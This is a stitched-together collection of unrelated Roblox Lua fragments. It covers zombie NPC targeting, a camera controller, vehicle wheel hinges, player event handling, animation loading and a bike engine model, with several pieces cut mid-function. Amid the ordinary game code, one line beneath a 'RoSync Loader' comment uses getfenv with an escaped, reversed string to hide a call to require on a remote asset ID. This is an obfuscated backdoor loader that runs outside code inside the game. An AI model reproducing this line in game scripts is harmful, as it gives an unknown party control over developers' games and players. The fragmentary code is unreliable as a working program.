targetHumanoid.Health > 0 and targetHumanoid:GetState() ~= Enum.HumanoidStateType.Dead and not CollectionService:HasTag(targetInstance.Parent, "ZombieFriend") and not part then isAttackable = true end end return isAttackable end local function findTargets() -- Do a new search region if we are not already searching through an existing search region if not searchingForTargets and tick() - timeSearchEnded >= SEARCH_DELAY then searchingForTargets = true -- Create a new region local centerPosition = maid.humanoidRootPart.Position local topCornerPosition = centerPosition + Vector3.new(ATTACK_RADIUS, ATTACK_RADIUS, ATTACK_RADIUS) local bottomCornerPosition = centerPosition + Vector3.new(-ATTACK_RADIUS, -ATTACK_RADIUS, -ATTACK_RADIUS) searchRegion = Region3.new(bottomCornerPosition, topCornerPosition) searchParts = Workspace:FindPartsInRegion3(searchRegion, maid.instance, math.huge) newTarget = nil newTargetDistance = nil -- Reset to defaults searchIndex = 1 end if searchingForTargets then -- Search through our list of parts and find attackable humanoids local checkedParts = 0 while searchingForTargets and searchIndex <= #searchParts and checkedParts < MAX_PARTS_PER_HEARTBEAT do local currentPart = searchParts[searchIndex] if currentPart and isInstaceAttackable(currentPart) then local character = currentPart.Parent local distance = (character.HumanoidRootPart.Position - maid.humanoidRootPart.Position).magnitude -- Determine if the charater is the closest if not newTargetDistance or distance < newTargetDistance then newTarget = character.HumanoidRootPart newTargetDistance = distance end end searchIndex = searchIndex + 1 checkedParts = checkedParts + 1 end if searchIndex >= #searchParts then target = newTarget searchingForTargets = false timeSearchEnded = tick() end end end local function runToTarget() local targetPosition = (maid.humanoidRootPart.Position - target.Position).Unit * ATTACK_RANGE + target.Position maid.humanoid:MoveTo(targetPosition) if not movingToAttack then maid.humanoid.WalkSpeed = random:NextInteger(ATTACK_MIN_WALKSPEED, ATTACK_MAX_WALKSPEED) end movingToAttack = true -- Stop the attack animation maid.attackAnimation:Stop() end local function attack() attacking = true lastAttackTime = tick() local originalWalkSpeed = maid.humanoid.WalkSpeed maid.humanoid.WalkSpeed = 0 -- Play the attack animation maid.attackAnimation:Play() -- Create a part and use it as a collider, to find humanoids in front of the zombie -- This is not ideal, but it is the simplest way to achieve a hitbox local hitPart = Instance.new("Part") hitPart.Size = HITBOX_SIZE hitPart.Transparency = 1 hitPart.CanCollide = true hitPart.Anchored = true hitPart.CFrame = maid.humanoidRootPart.CFrame * CFrame.new(0, -1, -3) hitPart.Parent = Workspace local hitTouchingParts = hitPart:GetTouchingParts() -- Destroy the hitPart before it results in physics updates on touched parts hitPart:Destroy() -- Find humanoids to damage local attackedHumanoids = {} for _, part in pairs(hitTouchingParts) do local parentModel = part:FindFirstAncestorOfClass("Model") if isInstaceAttackable(part) and not attackedHumanoids[parentModel] then attackedHumanoids[parentModel.Humanoid] = true end end -- Damage the humanoids for humanoid in pairs(attackedHumanoids) do humanoid:TakeDamage(ATTACK_DAMAGE) end startPosition = maid.instance.PrimaryPart.Position wait(ATTACK_STAND_TIME) maid.humanoid.WalkSpeed = originalWalkSpeed maid.attackAnimation:Stop() attacking = false end
-- Reset the camera look vector when the camera is enabled for the first time
local SetCameraOnSpawn = true local UseRenderCFrame = false pcall(function() local rc = Instance.new('Part'):GetRenderCFrame() UseRenderCFrame = (rc ~= nil) end) local function GetRenderCFrame(part) return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame end local function CreateCamera() local this = {} this.ShiftLock = false this.Enabled = false local pinchZoomSpeed = 20 local isFirstPerson = false local isRightMouseDown = false this.RotateInput = Vector2.new() function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p elseif cameraSubject:IsA('Humanoid') then local humanoidRootPart = cameraSubject.Torso if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset) end end end return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10 end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:ViewSizeX() local result = 1024 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeX end return result end function this:ViewSizeY() local result = 768 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeY end return result end function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2.new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2.new(xTheta, yTheta) end function this:RotateCamera(startLook, xyRotateVector) -- Could cache these values so we don't have to recalc them all the time local startCFrame = CFrame.new(Vector3.new(), startLook) local startVertical = math.asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector return resultLookVector, Vector2.new(xyRotateVector.x, yTheta) end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock if isFirstPerson or self:GetShiftLock() then if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end local function rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math.max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local fingerTouches = {} local NumUnsunkTouches = 0 local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math.max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true this:UpdateMouseBehavior() panBeginLook = this:GetCameraLook() startPos = input.Position lastPos = startPos this.UserPanningTheCamera = true end local function OnMouse2Up(input, processed) isRightMouseDown = false this:UpdateMouseBehavior() panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end local function OnMouseMoved(input, processed) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math.floor(num + 0.5) end local eight2Pi = math.pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= Vector3.new(0,0,0) then camLook = camLook.unit local currAngle = math.atan2(camLook.z, camLook.x) local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 0.1 local thumbstickSensitivity = 1.0 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1,1,point) end return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == Vector2.new(0,0) then lastThumbstickRotate = nil if lastThumbstickPos == Vector2.new(0,0) then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end finalConstant = thumbstickSensitivity * currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity) end return Vector2.new(0,0) end local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() local getGamepadPan = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = Vector2.new(0,0) return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > 0.1 then this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = Vector2.new(0,0) end end end local doGamepadZoom = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.currentZoom > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2) game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3) -- set mouse behavior self:UpdateMouseBehavior() end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) this:ZoomCamera(12.5) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end local function setLookBehindChatacter() if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end wait() setLookBehindChatacter() end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) return this end return CreateCamera
--SSMR.Rotation = SSMR.Rotation + Vector3.new(23,40,66)
SSMR.Name = "MR" SSMR.Transparency = 1 SSMR.CFrame = FR.CFrame SSMR.Attachment.Rotation = Vector3.new(0,0,90) local SSL = SSML:Clone() SSL.Parent = script.Parent.Parent.Parent.LW SSL.Attachment.Rotation = Vector3.new(0,0,90) SSL.CFrame = SSML.CFrame local xSSL = SSML:Clone() xSSL.Parent = script.Parent.Parent.Parent.LW xSSL.Rotation = xSSL.Rotation + Vector3.new(0,0,-90) xSSL.Name = "WheelML" xSSL.CFrame = SSML.CFrame xSSL.Attachment.Rotation = Vector3.new(0,0,0) local SSR = SSMR:Clone() SSR.Parent = script.Parent.Parent.Parent.RW SSR.Attachment.Rotation = Vector3.new(0,0,90) SSR.CFrame = SSMR.CFrame local xSSR = SSMR:Clone() xSSR.Parent = script.Parent.Parent.Parent.RW xSSR.Name = "WheelMR" xSSR.CFrame = SSMR.CFrame xSSR.Attachment.Rotation = Vector3.new(0,0,0) local RLSS = Instance.new("HingeConstraint",SSMR) local LLSS = Instance.new("HingeConstraint",SSML) RLSS.Attachment0 = SSR.Attachment RLSS.Attachment1 = SSMR.Attachment LLSS.Attachment0 = SSL.Attachment LLSS.Attachment1 = SSML.Attachment
--[[ Last synced 4/6/2021 12:02 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- handles all the events incoming from the client
local keyModule = require(script.Parent:WaitForChild("Game Logic").KeyModule) local function cleanupCharacter(char) -- drop the tools in the spot if char:FindFirstChild("HumanoidRootPart") then keyModule.DropTools(player,game.Workspace.Map,char.HumanoidRootPart.Position) print("Tools Dropped") end -- remove the tag from their player if player:FindFirstChild("Contestant") then player.Contestant:Destroy() print ("contestant tag dropped") elseif player:FindFirstChild("Piggy") then player.Piggy:Destroy() print ("piggy tag dropped") end end local function onCharacterAdded(char) -- drop all the tools that the player is holding char.Humanoid.Died:Connect(cleanupCharacter) end local function onPlayerAdded(player) -- add a tag to players when joining the game; this tag is removed when players click on 'play' -- prevents AFK players from joining the game local inMenu = Instance.new("BoolValue") inMenu.Name = "InMenu" inMenu.Parent = player -- this function fires when the character spawns into the game (i.e. after the die / reset their character player.CharacterAdded:Connect(onCharacterAdded) end
-- Objects
local settingsDir = script.Settings function getSetting (name) return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value end
-- fallback to defaults
if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--Apply Power
function Engine(dt) local deltaTime = (60/(1/dt)) --Determine Clutch Slip if _TMode~="Manual" and _Tune.SlipClutch then if _Tune.ABS and _ABS then if _SlipCount >= _Tune.SlipABSThres then _ClutchSlip = true else _ClutchSlip = false end else if tick()-bticc >= _Tune.SlipTimeThres then _ClutchSlip = true else _ClutchSlip = false end end else _ClutchSlip = false end --Neutral Gear if ((_CGear == 0 or _Shifting) and _IsOn) then _ClPressing = true _Clutch = 1 _StallOK = false end local revMin = _Tune.IdleRPM local goalMin = _Tune.IdleRPM if _Tune.Stall and _Tune.Clutch then revMin = 0 end if _Shifting and _ShiftUp then _GThrot = 0 elseif _Shifting and _ShiftDn then _GThrot = (_Tune.ShiftThrot/100) else _GThrot = _InThrot end _GBrake = _InBrake if not _IsOn then ticc = tick() revMin = 0 goalMin = 0 _GThrot = _Tune.IdleThrottle/100 if _TMode~="Manual" then _CGear = 0 _ClPressing = true _Clutch = 1 end end --Determine RPM local maxSpin=0 if Rear.Wheel.RotVelocity.Magnitude>maxSpin then maxSpin = Rear.Wheel.RotVelocity.Magnitude end local _GoalRPM=0 if _Tune.Engine or _Tune.Electric then _GoalRPM = math.max(math.min((_RPM-_Tune.RevDecay*deltaTime)+((_Tune.RevDecay+_Tune.RevAccel)*_GThrot*deltaTime),_Tune.Redline+100),goalMin) end if _GoalRPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _GoalRPM = _GoalRPM-_Tune.RevBounce else _GoalRPM = _GoalRPM-_Tune.RevBounce*.5 end end local _WheelRPM = maxSpin*_Tune.Ratios[_CGear+1]*fFDr --Clutch Calculation if _Tune.Clutch then if script.Parent.Values.AutoClutch.Value and _IsOn then if _Tune.ClutchType == "Clutch" then if _ClPressing or _ClutchSlip then _ClutchKick = 1 end _ClutchKick = _ClutchKick*(_Tune.ClutchEngage/100) local ClRPMInfluence = math.max((_RPM-_Tune.IdleRPM)*_Tune.ClutchRPMMult/(_Tune.Redline-_Tune.IdleRPM),0) if _Tune.ClutchMode == "New" then ClRPMInfluence = 0 end _ClutchModulate = math.min(((((script.Parent.Values.Velocity.Value.Magnitude/_Tune.SpeedEngage)/math.abs(_CGear)) + ClRPMInfluence) - _ClutchKick), 1) elseif _Tune.ClutchType == "CVT" or (_Tune.ClutchType == "TorqueConverter" and _Tune.TQLock) then if (_GThrot-(_Tune.IdleThrottle/100)==0 and script.Parent.Values.Velocity.Value.Magnitude<_Tune.SpeedEngage) or (_GThrot-(_Tune.IdleThrottle/100)~=0 and (_RPM < _Tune.RPMEngage and _WheelRPM < _Tune.RPMEngage)) then _ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100), 1) else _ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100)+(1-(_Tune.ClutchEngage/100)), 1) end elseif _Tune.ClutchType == "TorqueConverter" and not _Tune.TQLock then _ClutchModulate = math.min((_RPM/_Tune.Redline)*0.7, 1) end if not _ClPressing and not _ClutchSlip then _Clutch = math.min(1-_ClutchModulate,1) else _Clutch = 1 end _StallOK = (_Clutch<=0.01) or _StallOK else _StallOK = _Tune.Stall _Clutch = script.Parent.Values.Clutch.Value end else _StallOK = false if (not _ClPressing and not _ClutchSlip) and not _Shifting then _Clutch = 0 else _Clutch = 1 end end local aRPM = math.max(math.min((_GoalRPM*_Clutch) + (_WheelRPM*(1-_Clutch)),_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/(_Tune.Flywheel*deltaTime),.9) if _ClPressing or _ClutchSlip then clutchP = 0 end _RPM = _RPM*clutchP + aRPM*(1-clutchP) if _RPM<=(_Tune.IdleRPM/4) and _StallOK and (tick()-ticc>=0.2) then script.Parent.IsOn.Value = not _Tune.Stall end --Rev Limiter _spLimit = -((_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+1])) if _Tune.Limiter then _spLimit = math.min(_spLimit,-_Tune.SpeedLimit) end if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end --Aspiration local TPsi = _TPsi/_TCount local _BThrot = _GThrot if _Tune.Engine then if _TCount~=0 then _TBoost = _TBoost + ((((((_HP*(_BThrot*1.2)/_Tune.Horsepower)/8)-(((_TBoost/TPsi*(TPsi/15)))))*((8/(_Tune.T_Size/(deltaTime)))*2))/TPsi)*15) if _TBoost < 0.05 then _TBoost = 0.05 elseif _TBoost > 2 then _TBoost = 2 end else _TBoost = 0 end if _SCount~=0 then if _BThrot>sthrot then sthrot=math.min(_BThrot,sthrot+_Tune.S_Sensitivity*deltaTime) elseif _BThrot<sthrot then sthrot=math.max(_BThrot,sthrot-_Tune.S_Sensitivity*deltaTime) end _SBoost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot)) else _SBoost = 0 end else _TBoost = 0 _SBoost = 0 end --Torque calculations if _Tune.Engine then local cTq = NCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)) _NT = cTq.Torque+(cTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)) if _TCount~=0 then local tTq = TCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)] _TH = (tTq.Horsepower+(tTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2) _TT = (tTq.Torque+(tTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2) else _TH,_TT = 0,0 end if _SCount~=0 then local sTq = SCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)] _SH = (sTq.Horsepower+(sTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2) _ST = (sTq.Torque+(sTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2) else _SH,_ST = 0,0 end _BH = _TH+_SH _BT = _TT+_ST else _NH,_NT = 0,0 _TH,_TT = 0,0 _SH,_ST = 0,0 _BH,_BT = 0,0 end if _Tune.Electric and _CGear~=0 then local eTq = ECache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(100,_RPM))/100)] _EH = eTq.Horsepower+(eTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)) _ET = eTq.Torque+(eTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)) else _EH,_ET = 0,0 end _HP = _NH + _BH + _EH _OutTorque = _NT + _BT + _ET local iComp =(bike.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Update Wheels --Front _fABSActive = false --Output if _PBrake and bike.DriveSeat.Velocity.Magnitude<20 then --PBrake 